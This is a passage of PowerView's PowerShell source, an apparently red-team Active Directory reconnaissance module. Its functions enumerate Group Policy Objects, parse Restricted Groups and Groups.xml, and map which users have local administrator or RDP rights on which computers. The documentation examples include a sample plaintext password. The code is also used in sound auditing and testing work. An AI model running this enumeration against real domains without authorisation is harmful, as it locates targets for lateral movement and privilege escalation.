.OUTPUTS 12840 12841 PowerView.GPO 12842 12843 Custom PSObject with translated GPO property fields. 12844 12845 PowerView.GPO.Raw 12846 12847 The raw DirectoryServices.SearchResult object, if -Raw is enabled. 12848 #> 12849 12850 [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] 12851 [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')] 12852 [OutputType('PowerView.GPO')] 12853 [OutputType('PowerView.GPO.Raw')] 12854 [CmdletBinding(DefaultParameterSetName = 'None')] 12855 Param( 12856 [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] 12857 [Alias('DistinguishedName', 'SamAccountName', 'Name')] 12858 [String[]] 12859 $Identity, 12860 12861 [Parameter(ParameterSetName = 'ComputerIdentity')] 12862 [Alias('ComputerName')] 12863 [ValidateNotNullOrEmpty()] 12864 [String] 12865 $ComputerIdentity, 12866 12867 [Parameter(ParameterSetName = 'UserIdentity')] 12868 [Alias('UserName')] 12869 [ValidateNotNullOrEmpty()] 12870 [String] 12871 $UserIdentity, 12872 12873 [ValidateNotNullOrEmpty()] 12874 [String] 12875 $Domain, 12876 12877 [ValidateNotNullOrEmpty()] 12878 [Alias('Filter')] 12879 [String] 12880 $LDAPFilter, 12881 12882 [ValidateNotNullOrEmpty()] 12883 [String[]] 12884 $Properties, 12885 12886 [ValidateNotNullOrEmpty()] 12887 [Alias('ADSPath')] 12888 [String] 12889 $SearchBase, 12890 12891 [ValidateNotNullOrEmpty()] 12892 [Alias('DomainController')] 12893 [String] 12894 $Server, 12895 12896 [ValidateSet('Base', 'OneLevel', 'Subtree')] 12897 [String] 12898 $SearchScope = 'Subtree', 12899 12900 [ValidateRange(1, 10000)] 12901 [Int] 12902 $ResultPageSize = 200, 12903 12904 [ValidateRange(1, 10000)] 12905 [Int] 12906 $ServerTimeLimit, 12907 12908 [ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')] 12909 [String] 12910 $SecurityMasks, 12911 12912 [Switch] 12913 $Tombstone, 12914 12915 [Alias('ReturnOne')] 12916 [Switch] 12917 $FindOne, 12918 12919 [Management.Automation.PSCredential] 12920 [Management.Automation.CredentialAttribute()] 12921 $Credential = [Management.Automation.PSCredential]::Empty, 12922 12923 [Switch] 12924 $Raw 12925 ) 12926 12927 BEGIN { 12928 $SearcherArguments = @{} 12929 if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } 12930 if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties } 12931 if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } 12932 if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } 12933 if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } 12934 if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } 12935 if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } 12936 if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks } 12937 if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } 12938 if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } 12939 $GPOSearcher = Get-DomainSearcher @SearcherArguments 12940 } 12941 12942 PROCESS { 12943 if ($GPOSearcher) { 12944 if ($PSBoundParameters['ComputerIdentity'] -or $PSBoundParameters['UserIdentity']) { 12945 $GPOAdsPaths = @() 12946 if ($SearcherArguments['Properties']) { 12947 $OldProperties = $SearcherArguments['Properties'] 12948 } 12949 $SearcherArguments['Properties'] = 'distinguishedname,dnshostname' 12950 $TargetComputerName = $Null 12951 12952 if ($PSBoundParameters['ComputerIdentity']) { 12953 $SearcherArguments['Identity'] = $ComputerIdentity 12954 $Computer = Get-DomainComputer @SearcherArguments -FindOne | Select-Object -First 1 12955 if(-not $Computer) { 12956 Write-Verbose "[Get-DomainGPO] Computer '$ComputerIdentity' not found!" 12957 } 12958 $ObjectDN = $Computer.distinguishedname 12959 $TargetComputerName = $Computer.dnshostname 12960 } 12961 else { 12962 $SearcherArguments['Identity'] = $UserIdentity 12963 $User = Get-DomainUser @SearcherArguments -FindOne | Select-Object -First 1 12964 if(-not $User) { 12965 Write-Verbose "[Get-DomainGPO] User '$UserIdentity' not found!" 12966 } 12967 $ObjectDN = $User.distinguishedname 12968 } 12969 12970 # extract all OUs the target user/computer is a part of 12971 $ObjectOUs = @() 12972 $ObjectOUs += $ObjectDN.split(',') | ForEach-Object { 12973 if($_.startswith('OU=')) { 12974 $ObjectDN.SubString($ObjectDN.IndexOf("$($_),")) 12975 } 12976 } 12977 Write-Verbose "[Get-DomainGPO] object OUs: $ObjectOUs" 12978 12979 if ($ObjectOUs) { 12980 # find all the GPOs linked to the user/computer's OUs 12981 $SearcherArguments.Remove('Properties') 12982 $InheritanceDisabled = $False 12983 ForEach($ObjectOU in $ObjectOUs) { 12984 $SearcherArguments['Identity'] = $ObjectOU 12985 $GPOAdsPaths += Get-DomainOU @SearcherArguments | ForEach-Object { 12986 # extract any GPO links for this particular OU the computer is a part of 12987 if ($_.gplink) { 12988 $_.gplink.split('][') | ForEach-Object { 12989 if ($_.startswith('LDAP')) { 12990 $Parts = $_.split(';') 12991 $GpoDN = $Parts[0] 12992 $Enforced = $Parts[1] 12993 12994 if ($InheritanceDisabled) { 12995 # if inheritance has already been disabled and this GPO is set as "enforced" 12996 # then add it, otherwise ignore it 12997 if ($Enforced -eq 2) { 12998 $GpoDN 12999 } 13000 } 13001 else { 13002 # inheritance not marked as disabled yet 13003 $GpoDN 13004 } 13005 } 13006 } 13007 } 13008 13009 # if this OU has GPO inheritence disabled, break so additional OUs aren't processed 13010 if ($_.gpoptions -eq 1) { 13011 $InheritanceDisabled = $True 13012 } 13013 } 13014 } 13015 } 13016 13017 if ($TargetComputerName) { 13018 # find all the GPOs linked to the computer's site 13019 $ComputerSite = (Get-NetComputerSiteName -ComputerName $TargetComputerName).SiteName 13020 if($ComputerSite -and ($ComputerSite -notlike 'Error*')) { 13021 $SearcherArguments['Identity'] = $ComputerSite 13022 $GPOAdsPaths += Get-DomainSite @SearcherArguments | ForEach-Object { 13023 if($_.gplink) { 13024 # extract any GPO links for this particular site the computer is a part of 13025 $_.gplink.split('][') | ForEach-Object { 13026 if ($_.startswith('LDAP')) { 13027 $_.split(';')[0] 13028 } 13029 } 13030 } 13031 } 13032 } 13033 } 13034 13035 # find any GPOs linked to the user/computer's domain 13036 $ObjectDomainDN = $ObjectDN.SubString($ObjectDN.IndexOf('DC=')) 13037 $SearcherArguments.Remove('Identity') 13038 $SearcherArguments.Remove('Properties') 13039 $SearcherArguments['LDAPFilter'] = "(objectclass=domain)(distinguishedname=$ObjectDomainDN)" 13040 $GPOAdsPaths += Get-DomainObject @SearcherArguments | ForEach-Object { 13041 if($_.gplink) { 13042 # extract any GPO links for this particular domain the computer is a part of 13043 $_.gplink.split('][') | ForEach-Object { 13044 if ($_.startswith('LDAP')) { 13045 $_.split(';')[0] 13046 } 13047 } 13048 } 13049 } 13050 Write-Verbose "[Get-DomainGPO] GPOAdsPaths: $GPOAdsPaths" 13051 13052 # restore the old properites to return, if set 13053 if ($OldProperties) { $SearcherArguments['Properties'] = $OldProperties } 13054 else { $SearcherArguments.Remove('Properties') } 13055 $SearcherArguments.Remove('Identity') 13056 13057 $GPOAdsPaths | Where-Object {$_ -and ($_ -ne '')} | ForEach-Object { 13058 # use the gplink as an ADS path to enumerate all GPOs for the computer 13059 $SearcherArguments['SearchBase'] = $_ 13060 $SearcherArguments['LDAPFilter'] = "(objectCategory=groupPolicyContainer)" 13061 Get-DomainObject @SearcherArguments | ForEach-Object { 13062 if ($PSBoundParameters['Raw']) { 13063 $_.PSObject.TypeNames.Insert(0, 'PowerView.GPO.Raw') 13064 } 13065 else { 13066 $_.PSObject.TypeNames.Insert(0, 'PowerView.GPO') 13067 } 13068 $_ 13069 } 13070 } 13071 } 13072 else { 13073 $IdentityFilter = '' 13074 $Filter = '' 13075 $Identity | Where-Object {$_} | ForEach-Object { 13076 $IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29') 13077 if ($IdentityInstance -match 'LDAP://|^CN=.*') { 13078 $IdentityFilter += "(distinguishedname=$IdentityInstance)" 13079 if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) { 13080 # if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname 13081 # and rebuild the domain searcher 13082 $IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' 13083 Write-Verbose "[Get-DomainGPO] Extracted domain '$IdentityDomain' from '$IdentityInstance'" 13084 $SearcherArguments['Domain'] = $IdentityDomain 13085 $GPOSearcher = Get-DomainSearcher @SearcherArguments 13086 if (-not $GPOSearcher) { 13087 Write-Warning "[Get-DomainGPO] Unable to retrieve domain searcher for '$IdentityDomain'" 13088 } 13089 } 13090 } 13091 elseif ($IdentityInstance -match '{.*}') { 13092 $IdentityFilter += "(name=$IdentityInstance)" 13093 } 13094 else { 13095 try { 13096 $GuidByteString = (-Join (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object {$_.ToString('X').PadLeft(2,'0')})) -Replace '(..)','\$1' 13097 $IdentityFilter += "(objectguid=$GuidByteString)" 13098 } 13099 catch { 13100 $IdentityFilter += "(displayname=$IdentityInstance)" 13101 } 13102 } 13103 } 13104 if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) { 13105 $Filter += "(|$IdentityFilter)" 13106 } 13107 13108 if ($PSBoundParameters['LDAPFilter']) { 13109 Write-Verbose "[Get-DomainGPO] Using additional LDAP filter: $LDAPFilter" 13110 $Filter += "$LDAPFilter" 13111 } 13112 13113 $GPOSearcher.filter = "(&(objectCategory=groupPolicyContainer)$Filter)" 13114 Write-Verbose "[Get-DomainGPO] filter string: $($GPOSearcher.filter)" 13115 13116 if ($PSBoundParameters['FindOne']) { $Results = $GPOSearcher.FindOne() } 13117 else { $Results = $GPOSearcher.FindAll() } 13118 $Results | Where-Object {$_} | ForEach-Object { 13119 if ($PSBoundParameters['Raw']) { 13120 # return raw result objects 13121 $GPO = $_ 13122 $GPO.PSObject.TypeNames.Insert(0, 'PowerView.GPO.Raw') 13123 } 13124 else { 13125 if ($PSBoundParameters['SearchBase'] -and ($SearchBase -Match '^GC://')) { 13126 $GPO = Convert-LDAPProperty -Properties $_.Properties 13127 try { 13128 $GPODN = $GPO.distinguishedname 13129 $GPODomain = $GPODN.SubString($GPODN.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' 13130 $gpcfilesyspath = "\\$GPODomain\SysVol\$GPODomain\Policies\$($GPO.cn)" 13131 $GPO | Add-Member Noteproperty 'gpcfilesyspath' $gpcfilesyspath 13132 } 13133 catch { 13134 Write-Verbose "[Get-DomainGPO] Error calculating gpcfilesyspath for: $($GPO.distinguishedname)" 13135 } 13136 } 13137 else { 13138 $GPO = Convert-LDAPProperty -Properties $_.Properties 13139 } 13140 $GPO.PSObject.TypeNames.Insert(0, 'PowerView.GPO') 13141 } 13142 $GPO 13143 } 13144 if ($Results) { 13145 try { $Results.dispose() } 13146 catch { 13147 Write-Verbose "[Get-DomainGPO] Error disposing of the Results object: $_" 13148 } 13149 } 13150 $GPOSearcher.dispose() 13151 } 13152 } 13153 } 13154 } 13155 13156 13157 function Get-DomainGPOLocalGroup { 13158 <# 13159 .SYNOPSIS 13160 13161 Returns all GPOs in a domain that modify local group memberships through 'Restricted Groups' 13162 or Group Policy preferences. Also return their user membership mappings, if they exist. 13163 13164 Author: @harmj0y 13165 License: BSD 3-Clause 13166 Required Dependencies: Get-DomainGPO, Get-GptTmpl, Get-GroupsXML, ConvertTo-SID, ConvertFrom-SID 13167 13168 .DESCRIPTION 13169 13170 First enumerates all GPOs in the current/target domain using Get-DomainGPO with passed 13171 arguments, and for each GPO checks if 'Restricted Groups' are set with GptTmpl.inf or 13172 group membership is set through Group Policy Preferences groups.xml files. For any 13173 GptTmpl.inf files found, the file is parsed with Get-GptTmpl and any 'Group Membership' 13174 section data is processed if present. Any found Groups.xml files are parsed with 13175 Get-GroupsXML and those memberships are returned as well. 13176 13177 .PARAMETER Identity 13178 13179 A display name (e.g. 'Test GPO'), DistinguishedName (e.g. 'CN={F260B76D-55C8-46C5-BEF1-9016DD98E272},CN=Policies,CN=System,DC=testlab,DC=local'), 13180 GUID (e.g. '10ec320d-3111-4ef4-8faf-8f14f4adc789'), or GPO name (e.g. '{F260B76D-55C8-46C5-BEF1-9016DD98E272}'). Wildcards accepted. 13181 13182 .PARAMETER ResolveMembersToSIDs 13183 13184 Switch. Indicates that any member names should be resolved to their domain SIDs. 13185 13186 .PARAMETER Domain 13187 13188 Specifies the domain to use for the query, defaults to the current domain. 13189 13190 .PARAMETER LDAPFilter 13191 13192 Specifies an LDAP query string that is used to filter Active Directory objects. 13193 13194 .PARAMETER SearchBase 13195 13196 The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" 13197 Useful for OU queries. 13198 13199 .PARAMETER Server 13200 13201 Specifies an Active Directory server (domain controller) to bind to. 13202 13203 .PARAMETER SearchScope 13204 13205 Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). 13206 13207 .PARAMETER ResultPageSize 13208 13209 Specifies the PageSize to set for the LDAP searcher object. 13210 13211 .PARAMETER ServerTimeLimit 13212 13213 Specifies the maximum amount of time the server spends searching. Default of 120 seconds. 13214 13215 .PARAMETER Tombstone 13216 13217 Switch. Specifies that the searcher should also return deleted/tombstoned objects. 13218 13219 .PARAMETER Credential 13220 13221 A [Management.Automation.PSCredential] object of alternate credentials 13222 for connection to the target domain. 13223 13224 .EXAMPLE 13225 13226 Get-DomainGPOLocalGroup 13227 13228 Returns all local groups set by GPO along with their members and memberof. 13229 13230 .EXAMPLE 13231 13232 Get-DomainGPOLocalGroup -ResolveMembersToSIDs 13233 13234 Returns all local groups set by GPO along with their members and memberof, 13235 and resolve any members to their domain SIDs. 13236 13237 .EXAMPLE 13238 13239 '{0847C615-6C4E-4D45-A064-6001040CC21C}' | Get-DomainGPOLocalGroup 13240 13241 Return any GPO-set groups for the GPO with the given name/GUID. 13242 13243 .EXAMPLE 13244 13245 Get-DomainGPOLocalGroup 'Desktops' 13246 13247 Return any GPO-set groups for the GPO with the given display name. 13248 13249 .EXAMPLE 13250 13251 $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force 13252 $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) 13253 Get-DomainGPOLocalGroup -Credential $Cred 13254 13255 .LINK 13256 13257 https://morgansimonsenblog.azurewebsites.net/tag/groups/ 13258 #> 13259 13260 [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] 13261 [OutputType('PowerView.GPOGroup')] 13262 [CmdletBinding()] 13263 Param( 13264 [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] 13265 [Alias('DistinguishedName', 'SamAccountName', 'Name')] 13266 [String[]] 13267 $Identity, 13268 13269 [Switch] 13270 $ResolveMembersToSIDs, 13271 13272 [ValidateNotNullOrEmpty()] 13273 [String] 13274 $Domain, 13275 13276 [ValidateNotNullOrEmpty()] 13277 [Alias('Filter')] 13278 [String] 13279 $LDAPFilter, 13280 13281 [ValidateNotNullOrEmpty()] 13282 [Alias('ADSPath')] 13283 [String] 13284 $SearchBase, 13285 13286 [ValidateNotNullOrEmpty()] 13287 [Alias('DomainController')] 13288 [String] 13289 $Server, 13290 13291 [ValidateSet('Base', 'OneLevel', 'Subtree')] 13292 [String] 13293 $SearchScope = 'Subtree', 13294 13295 [ValidateRange(1, 10000)] 13296 [Int] 13297 $ResultPageSize = 200, 13298 13299 [ValidateRange(1, 10000)] 13300 [Int] 13301 $ServerTimeLimit, 13302 13303 [Switch] 13304 $Tombstone, 13305 13306 [Management.Automation.PSCredential] 13307 [Management.Automation.CredentialAttribute()] 13308 $Credential = [Management.Automation.PSCredential]::Empty 13309 ) 13310 13311 BEGIN { 13312 $SearcherArguments = @{} 13313 if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } 13314 if ($PSBoundParameters['LDAPFilter']) { $SearcherArguments['LDAPFilter'] = $Domain } 13315 if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } 13316 if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } 13317 if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } 13318 if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } 13319 if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } 13320 if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } 13321 if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } 13322 13323 $ConvertArguments = @{} 13324 if ($PSBoundParameters['Domain']) { $ConvertArguments['Domain'] = $Domain } 13325 if ($PSBoundParameters['Server']) { $ConvertArguments['Server'] = $Server } 13326 if ($PSBoundParameters['Credential']) { $ConvertArguments['Credential'] = $Credential } 13327 13328 $SplitOption = [System.StringSplitOptions]::RemoveEmptyEntries 13329 } 13330 13331 PROCESS { 13332 if ($PSBoundParameters['Identity']) { $SearcherArguments['Identity'] = $Identity } 13333 13334 Get-DomainGPO @SearcherArguments | ForEach-Object { 13335 $GPOdisplayName = $_.displayname 13336 $GPOname = $_.name 13337 $GPOPath = $_.gpcfilesyspath 13338 13339 $ParseArgs = @{ 'GptTmplPath' = "$GPOPath\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf" } 13340 if ($PSBoundParameters['Credential']) { $ParseArgs['Credential'] = $Credential } 13341 13342 # first parse the 'Restricted Groups' file (GptTmpl.inf) if it exists 13343 $Inf = Get-GptTmpl @ParseArgs 13344 13345 if ($Inf -and ($Inf.psbase.Keys -contains 'Group Membership')) { 13346 $Memberships = @{} 13347 13348 # parse the members/memberof fields for each entry 13349 ForEach ($Membership in $Inf.'Group Membership'.GetEnumerator()) { 13350 $Group, $Relation = $Membership.Key.Split('__', $SplitOption) | ForEach-Object {$_.Trim()} 13351 # extract out ALL members 13352 $MembershipValue = $Membership.Value | Where-Object {$_} | ForEach-Object { $_.Trim('*') } | Where-Object {$_} 13353 13354 if ($PSBoundParameters['ResolveMembersToSIDs']) { 13355 # if the resulting member is username and not a SID, attempt to resolve it 13356 $GroupMembers = @() 13357 ForEach ($Member in $MembershipValue) { 13358 if ($Member -and ($Member.Trim() -ne '')) { 13359 if ($Member -notmatch '^S-1-.*') { 13360 $ConvertToArguments = @{'ObjectName' = $Member} 13361 if ($PSBoundParameters['Domain']) { $ConvertToArguments['Domain'] = $Domain } 13362 $MemberSID = ConvertTo-SID @ConvertToArguments 13363 13364 if ($MemberSID) { 13365 $GroupMembers += $MemberSID 13366 } 13367 else { 13368 $GroupMembers += $Member 13369 } 13370 } 13371 else { 13372 $GroupMembers += $Member 13373 } 13374 } 13375 } 13376 $MembershipValue = $GroupMembers 13377 } 13378 13379 if (-not $Memberships[$Group]) { 13380 $Memberships[$Group] = @{} 13381 } 13382 if ($MembershipValue -isnot [System.Array]) {$MembershipValue = @($MembershipValue)} 13383 $Memberships[$Group].Add($Relation, $MembershipValue) 13384 } 13385 13386 ForEach ($Membership in $Memberships.GetEnumerator()) { 13387 if ($Membership -and $Membership.Key -and ($Membership.Key -match '^\*')) { 13388 # if the SID is already resolved (i.e. begins with *) try to resolve SID to a name 13389 $GroupSID = $Membership.Key.Trim('*') 13390 if ($GroupSID -and ($GroupSID.Trim() -ne '')) { 13391 $GroupName = ConvertFrom-SID -ObjectSID $GroupSID @ConvertArguments 13392 } 13393 else { 13394 $GroupName = $False 13395 } 13396 } 13397 else { 13398 $GroupName = $Membership.Key 13399 13400 if ($GroupName -and ($GroupName.Trim() -ne '')) { 13401 if ($Groupname -match 'Administrators') { 13402 $GroupSID = 'S-1-5-32-544' 13403 } 13404 elseif ($Groupname -match 'Remote Desktop') { 13405 $GroupSID = 'S-1-5-32-555' 13406 } 13407 elseif ($Groupname -match 'Guests') { 13408 $GroupSID = 'S-1-5-32-546' 13409 } 13410 elseif ($GroupName.Trim() -ne '') { 13411 $ConvertToArguments = @{'ObjectName' = $Groupname} 13412 if ($PSBoundParameters['Domain']) { $ConvertToArguments['Domain'] = $Domain } 13413 $GroupSID = ConvertTo-SID @ConvertToArguments 13414 } 13415 else { 13416 $GroupSID = $Null 13417 } 13418 } 13419 } 13420 13421 $GPOGroup = New-Object PSObject 13422 $GPOGroup | Add-Member Noteproperty 'GPODisplayName' $GPODisplayName 13423 $GPOGroup | Add-Member Noteproperty 'GPOName' $GPOName 13424 $GPOGroup | Add-Member Noteproperty 'GPOPath' $GPOPath 13425 $GPOGroup | Add-Member Noteproperty 'GPOType' 'RestrictedGroups' 13426 $GPOGroup | Add-Member Noteproperty 'Filters' $Null 13427 $GPOGroup | Add-Member Noteproperty 'GroupName' $GroupName 13428 $GPOGroup | Add-Member Noteproperty 'GroupSID' $GroupSID 13429 $GPOGroup | Add-Member Noteproperty 'GroupMemberOf' $Membership.Value.Memberof 13430 $GPOGroup | Add-Member Noteproperty 'GroupMembers' $Membership.Value.Members 13431 $GPOGroup.PSObject.TypeNames.Insert(0, 'PowerView.GPOGroup') 13432 $GPOGroup 13433 } 13434 } 13435 13436 # now try to the parse group policy preferences file (Groups.xml) if it exists 13437 $ParseArgs = @{ 13438 'GroupsXMLpath' = "$GPOPath\MACHINE\Preferences\Groups\Groups.xml" 13439 } 13440 13441 Get-GroupsXML @ParseArgs | ForEach-Object { 13442 if ($PSBoundParameters['ResolveMembersToSIDs']) { 13443 $GroupMembers = @() 13444 ForEach ($Member in $_.GroupMembers) { 13445 if ($Member -and ($Member.Trim() -ne '')) { 13446 if ($Member -notmatch '^S-1-.*') { 13447 13448 # if the resulting member is username and not a SID, attempt to resolve it 13449 $ConvertToArguments = @{'ObjectName' = $Groupname} 13450 if ($PSBoundParameters['Domain']) { $ConvertToArguments['Domain'] = $Domain } 13451 $MemberSID = ConvertTo-SID -Domain $Domain -ObjectName $Member 13452 13453 if ($MemberSID) { 13454 $GroupMembers += $MemberSID 13455 } 13456 else { 13457 $GroupMembers += $Member 13458 } 13459 } 13460 else { 13461 $GroupMembers += $Member 13462 } 13463 } 13464 } 13465 $_.GroupMembers = $GroupMembers 13466 } 13467 13468 $_ | Add-Member Noteproperty 'GPODisplayName' $GPODisplayName 13469 $_ | Add-Member Noteproperty 'GPOName' $GPOName 13470 $_ | Add-Member Noteproperty 'GPOType' 'GroupPolicyPreferences' 13471 $_.PSObject.TypeNames.Insert(0, 'PowerView.GPOGroup') 13472 $_ 13473 } 13474 } 13475 } 13476 } 13477 13478 13479 function Get-DomainGPOUserLocalGroupMapping { 13480 <# 13481 .SYNOPSIS 13482 13483 Enumerates the machines where a specific domain user/group is a member of a specific 13484 local group, all through GPO correlation. If no user/group is specified, all 13485 discoverable mappings are returned. 13486 13487 Author: @harmj0y 13488 License: BSD 3-Clause 13489 Required Dependencies: Get-DomainGPOLocalGroup, Get-DomainObject, Get-DomainComputer, Get-DomainOU, Get-DomainSite, Get-DomainGroup 13490 13491 .DESCRIPTION 13492 13493 Takes a user/group name and optional domain, and determines the computers in the domain 13494 the user/group has local admin (or RDP) rights to. 13495 13496 It does this by: 13497 1. resolving the user/group to its proper SID 13498 2. enumerating all groups the user/group is a current part of 13499 and extracting all target SIDs to build a target SID list 13500 3. pulling all GPOs that set 'Restricted Groups' or Groups.xml by calling 13501 Get-DomainGPOLocalGroup 13502 4. matching the target SID list to the queried GPO SID list 13503 to enumerate all GPO the user is effectively applied with 13504 5. enumerating all OUs and sites and applicable GPO GUIs are 13505 applied to through gplink enumerating 13506 6. querying for all computers under the given OUs or sites 13507 13508 If no user/group is specified, all user/group -> machine mappings discovered through 13509 GPO relationships are returned. 13510 13511 .PARAMETER Identity 13512 13513 A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local), 13514 SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201) 13515 for the user/group to identity GPO local group mappings for. 13516 13517 .PARAMETER LocalGroup 13518 13519 The local group to check access against. 13520 Can be "Administrators" (S-1-5-32-544), "RDP/Remote Desktop Users" (S-1-5-32-555), 13521 or a custom local SID. Defaults to local 'Administrators'. 13522 13523 .PARAMETER Domain 13524 13525 Specifies the domain to enumerate GPOs for, defaults to the current domain. 13526 13527 .PARAMETER Server 13528 13529 Specifies an Active Directory server (domain controller) to bind to. 13530 13531 .PARAMETER SearchScope 13532 13533 Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). 13534 13535 .PARAMETER ResultPageSize 13536 13537 Specifies the PageSize to set for the LDAP searcher object. 13538 13539 .PARAMETER ServerTimeLimit 13540 13541 Specifies the maximum amount of time the server spends searching. Default of 120 seconds. 13542 13543 .PARAMETER Tombstone 13544 13545 Switch. Specifies that the searcher should also return deleted/tombstoned objects. 13546 13547 .PARAMETER Credential 13548 13549 A [Management.Automation.PSCredential] object of alternate credentials 13550 for connection to the target domain. 13551 13552 .EXAMPLE 13553 13554 Get-DomainGPOUserLocalGroupMapping 13555 13556 Find all user/group -> machine relationships where the user/group is a member 13557 of the local administrators group on target machines. 13558 13559 .EXAMPLE 13560 13561 Get-DomainGPOUserLocalGroupMapping -Identity dfm -Domain dev.testlab.local 13562 13563 Find all computers that dfm user has local administrator rights to in 13564 the dev.testlab.local domain. 13565 13566 .EXAMPLE 13567 13568 $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force 13569 $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) 13570 Get-DomainGPOUserLocalGroupMapping -Credential $Cred 13571 13572 .OUTPUTS 13573 13574 PowerView.GPOLocalGroupMapping 13575 13576 A custom PSObject containing any target identity information and what local 13577 group memberships they're a part of through GPO correlation. 13578 13579 .LINK 13580 13581 http://www.harmj0y.net/blog/redteaming/where-my-admins-at-gpo-edition/ 13582 #> 13583 13584 [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] 13585 [OutputType('PowerView.GPOUserLocalGroupMapping')] 13586 [CmdletBinding()] 13587 Param( 13588 [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] 13589 [Alias('DistinguishedName', 'SamAccountName', 'Name')] 13590 [String] 13591 $Identity, 13592 13593 [String] 13594 [ValidateSet('Administrators', 'S-1-5-32-544', 'RDP', 'Remote Desktop Users', 'S-1-5-32-555')] 13595 $LocalGroup = 'Administrators', 13596 13597 [ValidateNotNullOrEmpty()] 13598 [String] 13599 $Domain, 13600 13601 [ValidateNotNullOrEmpty()] 13602 [Alias('ADSPath')] 13603 [String] 13604 $SearchBase, 13605 13606 [ValidateNotNullOrEmpty()] 13607 [Alias('DomainController')] 13608 [String] 13609 $Server, 13610 13611 [ValidateSet('Base', 'OneLevel', 'Subtree')] 13612 [String] 13613 $SearchScope = 'Subtree', 13614 13615 [ValidateRange(1, 10000)] 13616 [Int] 13617 $ResultPageSize = 200, 13618 13619 [ValidateRange(1, 10000)] 13620 [Int] 13621 $ServerTimeLimit, 13622 13623 [Switch] 13624 $Tombstone, 13625 13626 [Management.Automation.PSCredential] 13627 [Management.Automation.CredentialAttribute()] 13628 $Credential = [Management.Automation.PSCredential]::Empty 13629 ) 13630 13631 BEGIN { 13632 $CommonArguments = @{} 13633 if ($PSBoundParameters['Domain']) { $CommonArguments['Domain'] = $Domain } 13634 if ($PSBoundParameters['Server']) { $CommonArguments['Server'] = $Server } 13635 if ($PSBoundParameters['SearchScope']) { $CommonArguments['SearchScope'] = $SearchScope } 13636 if ($PSBoundParameters['ResultPageSize']) { $CommonArguments['ResultPageSize'] = $ResultPageSize } 13637 if ($PSBoundParameters['ServerTimeLimit']) { $CommonArguments['ServerTimeLimit'] = $ServerTimeLimit } 13638 if ($PSBoundParameters['Tombstone']) { $CommonArguments['Tombstone'] = $Tombstone } 13639 if ($PSBoundParameters['Credential']) { $CommonArguments['Credential'] = $Credential } 13640 } 13641 13642 PROCESS { 13643 $TargetSIDs = @() 13644 13645 if ($PSBoundParameters['Identity']) { 13646 $TargetSIDs += Get-DomainObject @CommonArguments -Identity $Identity | Select-Object -Expand objectsid 13647 $TargetObjectSID = $TargetSIDs 13648 if (-not $TargetSIDs) { 13649 Throw "[Get-DomainGPOUserLocalGroupMapping] Unable to retrieve SID for identity '$Identity'" 13650 } 13651 } 13652 else { 13653 # no filtering/match all 13654 $TargetSIDs = @('*') 13655 } 13656 13657 if ($LocalGroup -match 'S-1-5') { 13658 $TargetLocalSID = $LocalGroup 13659 } 13660 elseif ($LocalGroup -match 'Admin') { 13661 $TargetLocalSID = 'S-1-5-32-544' 13662 } 13663 else { 13664 # RDP 13665 $TargetLocalSID = 'S-1-5-32-555' 13666 } 13667 13668 if ($TargetSIDs[0] -ne '*') { 13669 ForEach ($TargetSid in $TargetSids) { 13670 Write-Verbose "[Get-DomainGPOUserLocalGroupMapping] Enumerating nested group memberships for: '$TargetSid'" 13671 $TargetSIDs += Get-DomainGroup @CommonArguments -Properties 'objectsid' -MemberIdentity $TargetSid | Select-Object -ExpandProperty objectsid 13672 } 13673 } 